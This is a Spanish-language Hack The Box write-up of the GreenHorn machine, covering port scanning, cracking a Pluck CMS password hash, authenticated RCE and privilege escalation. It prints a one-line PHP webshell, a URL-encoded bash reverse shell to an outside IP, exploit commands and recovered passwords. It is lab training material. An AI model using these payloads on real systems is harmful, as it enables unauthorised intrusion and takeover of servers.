Post

GreenHorn - Hack The Box

Maquina GreenHorn (Easy) de Hack The Box.

GreenHorn - Hack The Box

Escaneo

1
nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts

Puertos abiertos: 22,80,3000,4446,8000

Análisis

1
2
3
4
5
6
7
8
9
nmap -sCV -p22,80,3000,4446,8000 10.10.11.25 -oN targeted

22/tcp   open  ssh       OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http      nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  ppp?
4446/tcp open  n1-fwp?
8000/tcp open  http-alt?

El puerto 80 da acceso a la web de “http://greenhorn.htb”, sin nada destacable.

Whatweb tampoco añade mayor información:

1
2
3
4
whatweb http://greenhorn.htb

http://greenhorn.htb [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], RedirectLocation[http://greenhorn.htb/?file=welcome-to-greenhorn], nginx[1.18.0]
http://greenhorn.htb/?file=welcome-to-greenhorn [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], MetaGenerator[pluck 4.7.18], Pluck-CMS[4.7.18], Title[Welcome to GreenHorn ! - GreenHorn], nginx[1.18.0]

Enumerando con nmap se ven los siguientes directorios. Destacable los ficheros “login.php” y “admin.php”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap --script http-enum -p80 10.10.11.25 -oN webScan
80/tcp open  http
| http-enum: 
|   /admin.php: Possible admin folder
|   /login.php: Possible admin folder
|   /robots.txt: Robots file
|   /_vti_bin/fpcount.exe?Page=default.asp|Image=3: Frontpage file or folder
|   /cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini: Possible CiscoWorks (CuOM 8.0 and 8.5) Directory traversal (CVE-2011-0966) (Windows)
|   /cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program%20Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties: Possible CiscoWorks (CuOM 8.0 and 8.5) Directory traversal (CVE-2011-0966) (Windows)
|   /cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program%20Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties: Possible CiscoWorks (CuOM 8.0 and 8.5) Directory traversal (CVE-2011-0966) (Windows)
|   /cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program%20Files\CSCOpx\log\dbpwdChange.log: Possible CiscoWorks (CuOM 8.0 and 8.5) Directory traversal (CVE-2011-0966) (Windows)
|   /CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config: Cute Editor ASP.NET Remote File Disclosure ( CVE 2009-4665 )
|   /docs/README: Interesting, a readme.
|_  /data/: Potentially interesting folder

Explotación

Accediendo a la maquina por el puerto 3000 se accede a un repositorio Gitea en el que se puede ver el código del CMS Pluck. En la carpeta “/data/settings/” se puede ver el fichero “pass.php” con la contraseña encriptada en sha512:

1
2
3
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>

Pasando la clave a un desencriptador como CrackStation se obtiene la contraseña: iloveyou1 que da acceso al panel del CMS.

En “http://greenhorn.htb/login.php” se puede ver un formulario de ingreso del CMS “Pluck” en versión 4.7.18.

Una busqueda de Exploits para Pluck arroja un RCE CVE-2023-50564 para la versión 4.7.18:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
searchsploit pluck
---------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                   |  Path
---------------------------------------------------------------------------------------------------------------
Pluck CMS 4.5.1 (Windows) - 'blogpost' Local File Inclusion                      | php/webapps/6074.txt
Pluck CMS 4.5.2 - Multiple Cross-Site Scripting Vulnerabilities                  | php/webapps/32168.txt
Pluck CMS 4.5.2 - Multiple Local File Inclusions                                 | php/webapps/6300.txt
Pluck CMS 4.5.3 - 'g_pcltar_lib_dir' Local File Inclusion                        | php/webapps/7153.txt
Pluck CMS 4.5.3 - 'update.php' Remote File Corruption                            | php/webapps/6492.php
Pluck CMS 4.6.1 - 'module_pages_site.php' Local File Inclusion                   | php/webapps/8271.php
Pluck CMS 4.6.2 - 'langpref' Local File Inclusion                                | php/webapps/8715.txt
Pluck CMS 4.6.3 - 'cont1' HTML Injection                                         | php/webapps/34790.txt
Pluck CMS 4.7 - Directory Traversal                                              | php/webapps/36986.txt
Pluck CMS 4.7 - HTML Code Injection                                              | php/webapps/27398.txt
Pluck CMS 4.7 - Multiple Local File Inclusion / File Disclosure Vulnerabilities  | php/webapps/36129.txt
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)             | php/webapps/49909.py
Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)                   | php/webapps/50826.py
Pluck CMS 4.7.3 - Cross-Site Request Forgery (Add Page)                          | php/webapps/40566.py
Pluck CMS 4.7.3 - Multiple Vulnerabilities                                       | php/webapps/38002.txt
Pluck v4.7.18 - Remote Code Execution (RCE)                                      | php/webapps/51592.py
pluck v4.7.18 - Stored Cross-Site Scripting (XSS)                                | php/webapps/51420.txt
---------------------------------------------------------------------------------------------------------------
Shellcodes: No Results

El exploit se basa en, una vez logeado en el panel de administración de Pluck, se aprobecha de la utilidad de instalación de modulos del CMS para subir un fichero .php malicioso comprimido en .zip. El fichero es subido a “/admin.php?action=installmodule” que devuelve el nombre del “modulo”, que posteriormente será usado para localizar el fichero .php malicioso en la carpeta “/data/modules/{nombre del modulo}/php_malicioso.php”.

Haciendo uso del Exploit de GitHub para automatizar la tarea, se pasan como parametros la URL del sitio, la contraseña obtenida anteriormente del fichero “pass.php” y el fichero .php malicioso. En este caso un rce.php con <?=`$_REQUEST[0]`;:

1
2
3
4
python exploit.py -u http://greenhorn.htb -p 'iloveyou1' -f rce.php
[*] Logging in
[*] Uploading module
[+] Webshell uploaded to http://greenhorn.htb/data/modules/mdwqwwwl/x.php

Pasando una Reverse Shell como parametro se obtiene acceso a la maquina con el usuario www-data:

1
http://greenhorn.htb/data/modules/mdwqwwwl/x.php?0=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.15.23/443%200%3E%261%22

Escalada

User

En la carpeta “/home/” se pueden ver dos usuarios, “git” y “junior”. Verificando la reutilización de la contraseña de Pluck se accede como usuario junior.

Este usuario tiene permisos para leer la User FLag.

Root

Dentro del directorio “/home/junior” existe un documento PDF llamando “Using OpenVAS.pdf” que informa de la reciente instalación de OpenVAS y la contraseña. Pero esta contraseña se encuenta pixelada.

Descargando el pdf a la maquina local levantando un servidor http en python

1
python3 -m http.server

Pasando el pdf a imagen con pdfimages:

1
pdfimages Using\ OpenVAS.pdf img

Y pasando la imagen generada por un depixelador como depix se obtiene la contraseña de root “sidefromsidetheothersidesidefromsidetheotherside”:

1
python depix.py -p img-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png

Accediendo por ssh como root se tiene acceso a la Root Flag.

This post is licensed under CC BY 4.0 by the author.